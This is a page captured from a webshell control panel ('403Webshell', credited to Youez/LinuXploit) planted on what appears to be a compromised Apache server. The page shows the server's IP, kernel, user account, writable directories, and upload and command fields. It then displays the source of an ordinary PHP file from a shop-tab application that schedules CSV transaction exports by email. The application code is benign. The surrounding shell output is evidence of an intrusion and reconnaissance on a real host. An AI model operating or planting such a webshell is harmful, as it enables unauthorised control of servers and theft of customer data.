403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/thelittlebigshow/self-hosted/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thelittlebigshow/self-hosted/scheduled_export_helpers.php
<?php

require_once __DIR__ . '/store_settings.php';
require_once __DIR__ . '/qbo_name_map_helpers.php';

function scheduledExportAddonEnabled(mysqli $conn): bool
{
    if (defined('SELF_HOSTED_MODE') && SELF_HOSTED_MODE) {
        return true;
    }

    return getAppSettingValue($conn, 'scheduled_export_addon_enabled', '0') === '1';
}

function scheduledExportDefaultTimes(int $timesPerDay): array
{
    $map = [
        1 => ['09:00'],
        2 => ['09:00', '14:00'],
        3 => ['09:00', '13:00', '17:00'],
        4 => ['08:00', '11:00', '14:00', '17:00'],
        5 => ['08:00', '10:30', '13:00', '15:30', '18:00'],
    ];

    return $map[$timesPerDay] ?? [];
}

function scheduledExportNormalizeTime(string $time): string
{
    $time = trim($time);
    if ($time === '') {
        return '';
    }

    if (!preg_match('/^(\d{1,2}):(\d{2})$/', $time, $matches)) {
        throw new RuntimeException('Please enter each scheduled export time in HH:MM format.');
    }

    $hour = (int) $matches[1];
    $minute = (int) $matches[2];

    if ($hour < 0 || $hour > 23 || $minute < 0 || $minute > 59) {
        throw new RuntimeException('Please choose valid scheduled export times.');
    }

    return sprintf('%02d:%02d', $hour, $minute);
}

function scheduledExportTimesFromCsv(string $csv, int $timesPerDay): array
{
    $times = [];
    foreach (explode(',', $csv) as $part) {
        $part = trim($part);
        if ($part === '') {
            continue;
        }
        $normalized = scheduledExportNormalizeTime($part);
        if (!in_array($normalized, $times, true)) {
            $times[] = $normalized;
        }
    }

    if (count($times) === 0 && $timesPerDay > 0) {
        $times = scheduledExportDefaultTimes($timesPerDay);
    }

    return array_slice($times, 0, max(0, $timesPerDay));
}

function scheduledExportTimesForSave(array $settings, int $timesPerDay): array
{
    $rawTimes = $settings['times'] ?? [];
    $times = [];

    if (!is_array($rawTimes)) {
        $rawTimes = [];
    }

    for ($i = 0; $i < $timesPerDay; $i++) {
        $value = isset($rawTimes[$i]) ? (string) $rawTimes[$i] : '';
        $normalized = scheduledExportNormalizeTime($value);
        if ($normalized === '') {
            throw new RuntimeException('Please choose all scheduled send times before saving.');
        }
        if (in_array($normalized, $times, true)) {
            throw new RuntimeException('Each scheduled send time must be different.');
        }
        $times[] = $normalized;
    }

    sort($times);
    return $times;
}

function scheduledExportFormatTimeLabel(string $time): string
{
    $timestamp = strtotime('1970-01-01 ' . $time . ':00');
    return $timestamp ? date('g:i A', $timestamp) : $time;
}

function scheduledExportReadableTimes(array $times): string
{
    if (!$times) {
        return 'No send times selected';
    }

    $labels = array_map('scheduledExportFormatTimeLabel', $times);
    return implode(', ', $labels);
}

function scheduledExportSettings(mysqli $conn, string $defaultEmail = ''): array
{
    $timesPerDay = (int) getAppSettingValue($conn, 'scheduled_export_times_per_day', '0');
    if ($timesPerDay < 0) {
        $timesPerDay = 0;
    }
    if ($timesPerDay > 5) {
        $timesPerDay = 5;
    }

    $times = scheduledExportTimesFromCsv(
        getAppSettingValue($conn, 'scheduled_export_times_csv', ''),
        $timesPerDay
    );

    return [
        'addon_enabled' => scheduledExportAddonEnabled($conn),
        'enabled' => getAppSettingValue($conn, 'scheduled_export_enabled', '0') === '1',
        'email' => getAppSettingValue($conn, 'scheduled_export_email', $defaultEmail),
        'times_per_day' => $timesPerDay,
        'times' => $times,
        'include_archived' => getAppSettingValue($conn, 'scheduled_export_include_archived', '1') === '1',
        'map_qbo_names' => getAppSettingValue($conn, 'scheduled_export_map_qbo_names', '0') === '1',
        'last_sent_at' => getAppSettingValue($conn, 'scheduled_export_last_sent_at', ''),
        'last_sent_marker' => getAppSettingValue($conn, 'scheduled_export_last_sent_marker', ''),
    ];
}

function saveScheduledExportSettings(mysqli $conn, array $settings): void
{
    if (!scheduledExportAddonEnabled($conn)) {
        throw new RuntimeException('Scheduled email exports are available as a paid add-on.');
    }

    $timesPerDay = (int) ($settings['times_per_day'] ?? 0);
    $timesPerDay = max(0, min($timesPerDay, 5));
    $times = $timesPerDay > 0 ? scheduledExportTimesForSave($settings, $timesPerDay) : [];

    setAppSettingValue($conn, 'scheduled_export_enabled', !empty($settings['enabled']) ? '1' : '0');
    setAppSettingValue($conn, 'scheduled_export_email', trim((string) ($settings['email'] ?? '')));
    setAppSettingValue($conn, 'scheduled_export_times_per_day', (string) $timesPerDay);
    setAppSettingValue($conn, 'scheduled_export_times_csv', implode(',', $times));
    setAppSettingValue($conn, 'scheduled_export_include_archived', !empty($settings['include_archived']) ? '1' : '0');
    setAppSettingValue($conn, 'scheduled_export_map_qbo_names', !empty($settings['map_qbo_names']) ? '1' : '0');
}

function scheduledExportDueMarker(array $settings, ?int $now = null): ?array
{
    if (empty($settings['addon_enabled']) || empty($settings['enabled']) || empty($settings['email']) || empty($settings['times'])) {
        return null;
    }

    $now = $now ?? time();
    $lastSentMarker = trim((string) ($settings['last_sent_marker'] ?? ''));
    $today = date('Y-m-d', $now);

    $due = null;
    foreach ((array) ($settings['times'] ?? []) as $time) {
        $slotTs = strtotime($today . ' ' . $time . ':00');
        if ($slotTs === false || $slotTs > $now) {
            continue;
        }

        $marker = $today . ' ' . $time;
        if ($lastSentMarker !== '' && strcmp($marker, $lastSentMarker) <= 0) {
            continue;
        }

        $due = [
            'marker' => $marker,
            'time' => $time,
        ];
    }

    return $due;
}

function scheduledExportIsDue(array $settings, ?int $now = null): bool
{
    return scheduledExportDueMarker($settings, $now) !== null;
}

function scheduledExportMarkSent(mysqli $conn, ?string $sentAt = null, ?string $marker = null): void
{
    setAppSettingValue($conn, 'scheduled_export_last_sent_at', $sentAt ?: date('Y-m-d H:i:s'));
    if ($marker !== null && $marker !== '') {
        setAppSettingValue($conn, 'scheduled_export_last_sent_marker', $marker);
    }
}

function exportRowsForMonth(mysqli $conn, string $month, bool $includeArchived): array
{
    if (!preg_match('/^\d{4}-\d{2}$/', $month)) {
        throw new RuntimeException('Please choose a valid export month.');
    }

    $startDate = $month . '-01';
    $endDate = date('Y-m-t', strtotime($startDate));
    $rows = [];

    $currentStmt = $conn->prepare("
        SELECT
            t.date AS transaction_date,
            c.first_name,
            c.last_name,
            t.item_name,
            t.quantity,
            t.price,
            t.taxable,
            t.notes,
            'current' AS source_type
        FROM transactions t
        INNER JOIN customers c ON c.id = t.customer_id
        WHERE t.date BETWEEN ? AND ?
        ORDER BY t.date ASC, c.last_name ASC, c.first_name ASC, t.id ASC
    ");
    $currentStmt->bind_param('ss', $startDate, $endDate);
    $currentStmt->execute();
    $currentResult = $currentStmt->get_result();

    while ($row = $currentResult->fetch_assoc()) {
        $rows[] = $row;
    }
    $currentStmt->close();

    if ($includeArchived) {
        $archivedStmt = $conn->prepare("
            SELECT
                a.original_date AS transaction_date,
                c.first_name,
                c.last_name,
                a.item_name,
                a.quantity,
                a.price,
                a.taxable,
                a.notes,
                'archived' AS source_type
            FROM archived_transactions a
            INNER JOIN customers c ON c.id = a.customer_id
            WHERE a.original_date BETWEEN ? AND ?
            ORDER BY a.original_date ASC, c.last_name ASC, c.first_name ASC, a.id ASC
        ");
        $archivedStmt->bind_param('ss', $startDate, $endDate);
        $archivedStmt->execute();
        $archivedResult = $archivedStmt->get_result();

        while ($row = $archivedResult->fetch_assoc()) {
            $rows[] = $row;
        }
        $archivedStmt->close();
    }

    usort($rows, static function (array $a, array $b): int {
        return [$a['transaction_date'], $a['last_name'], $a['first_name'], $a['item_name']]
            <=>
            [$b['transaction_date'], $b['last_name'], $b['first_name'], $b['item_name']];
    });

    return $rows;
}

function exportCsvStringForMonth(mysqli $conn, string $month, bool $includeArchived, bool $mapQboNames): string
{
    $rows = exportRowsForMonth($conn, $month, $includeArchived);
    $taxRate = getStoreTaxRate($conn);
    $qboNameMap = $mapQboNames ? qboNameMapLoadSaved($conn) : [];

    $output = fopen('php://temp', 'r+');
    if ($output === false) {
        throw new RuntimeException('Could not generate CSV.');
    }

    fputcsv($output, [
        'Date',
        'Customer',
        'Item',
        'Quantity',
        'Price',
        'Subtotal',
        'Taxable',
        'Tax',
        'Total',
        'Notes',
        'Source',
    ]);

    foreach ($rows as $row) {
        $quantity = (float) ($row['quantity'] ?? 0);
        $price = (float) ($row['price'] ?? 0);
        $subtotal = $quantity * $price;
        $isTaxable = !empty($row['taxable']);
        $tax = $isTaxable ? $subtotal * $taxRate : 0.0;
        $total = $subtotal + $tax;
        $customer = trim(((string) ($row['first_name'] ?? '')) . ' ' . ((string) ($row['last_name'] ?? '')));
        $mappedCustomer = $customer;

        if ($mapQboNames) {
            $normalizedCustomer = strtolower(trim($customer));
            if (isset($qboNameMap[$normalizedCustomer])) {
                $mappedCustomer = $qboNameMap[$normalizedCustomer];
            }
        }

        fputcsv($output, [
            (string) ($row['transaction_date'] ?? ''),
            $mappedCustomer,
            (string) ($row['item_name'] ?? ''),
            number_format($quantity, 2, '.', ''),
            number_format($price, 2, '.', ''),
            number_format($subtotal, 2, '.', ''),
            $isTaxable ? 'Yes' : 'No',
            number_format($tax, 2, '.', ''),
            number_format($total, 2, '.', ''),
            (string) ($row['notes'] ?? ''),
            (string) ($row['source_type'] ?? 'current'),
        ]);
    }

    rewind($output);
    $csv = stream_get_contents($output);
    fclose($output);

    if ($csv === false) {
        throw new RuntimeException('Could not generate CSV.');
    }

    return $csv;
}

function sendScheduledExportEmail(string $toEmail, string $storeName, string $month, string $csvContent, string $filename): bool
{
    $boundary = 'housetab_export_' . md5((string) microtime(true));
    $subject = 'HouseTab Pro Export - ' . $storeName . ' - ' . date('F Y', strtotime($month . '-01'));
    $body = implode("\r\n", [
        'Hello,',
        '',
        'Your scheduled HouseTab Pro export is attached.',
        '',
        'Store: ' . $storeName,
        'Month: ' . date('F Y', strtotime($month . '-01')),
        '',
        'Warmly,',
        'HouseTab Pro',
    ]);

    $headers = [
        'MIME-Version: 1.0',
        'From: HouseTabPro <Accounts@housetabpro.com>',
        'Reply-To: HouseTabPro <support@housetabpro.com>',
        'X-Mailer: PHP/' . phpversion(),
        'Content-Type: multipart/mixed; boundary="' . $boundary . '"',
    ];

    $attachment = chunk_split(base64_encode($csvContent));
    $message = "--{$boundary}\r\n";
    $message .= "Content-Type: text/plain; charset=UTF-8\r\n";
    $message .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
    $message .= $body . "\r\n\r\n";
    $message .= "--{$boundary}\r\n";
    $message .= "Content-Type: text/csv; name=\"{$filename}\"\r\n";
    $message .= "Content-Transfer-Encoding: base64\r\n";
    $message .= "Content-Disposition: attachment; filename=\"{$filename}\"\r\n\r\n";
    $message .= $attachment . "\r\n";
    $message .= "--{$boundary}--\r\n";

    return mail($toEmail, $subject, $message, implode("\r\n", $headers));
}

Youez - 2016 - github.com/yon3zu
LinuXploit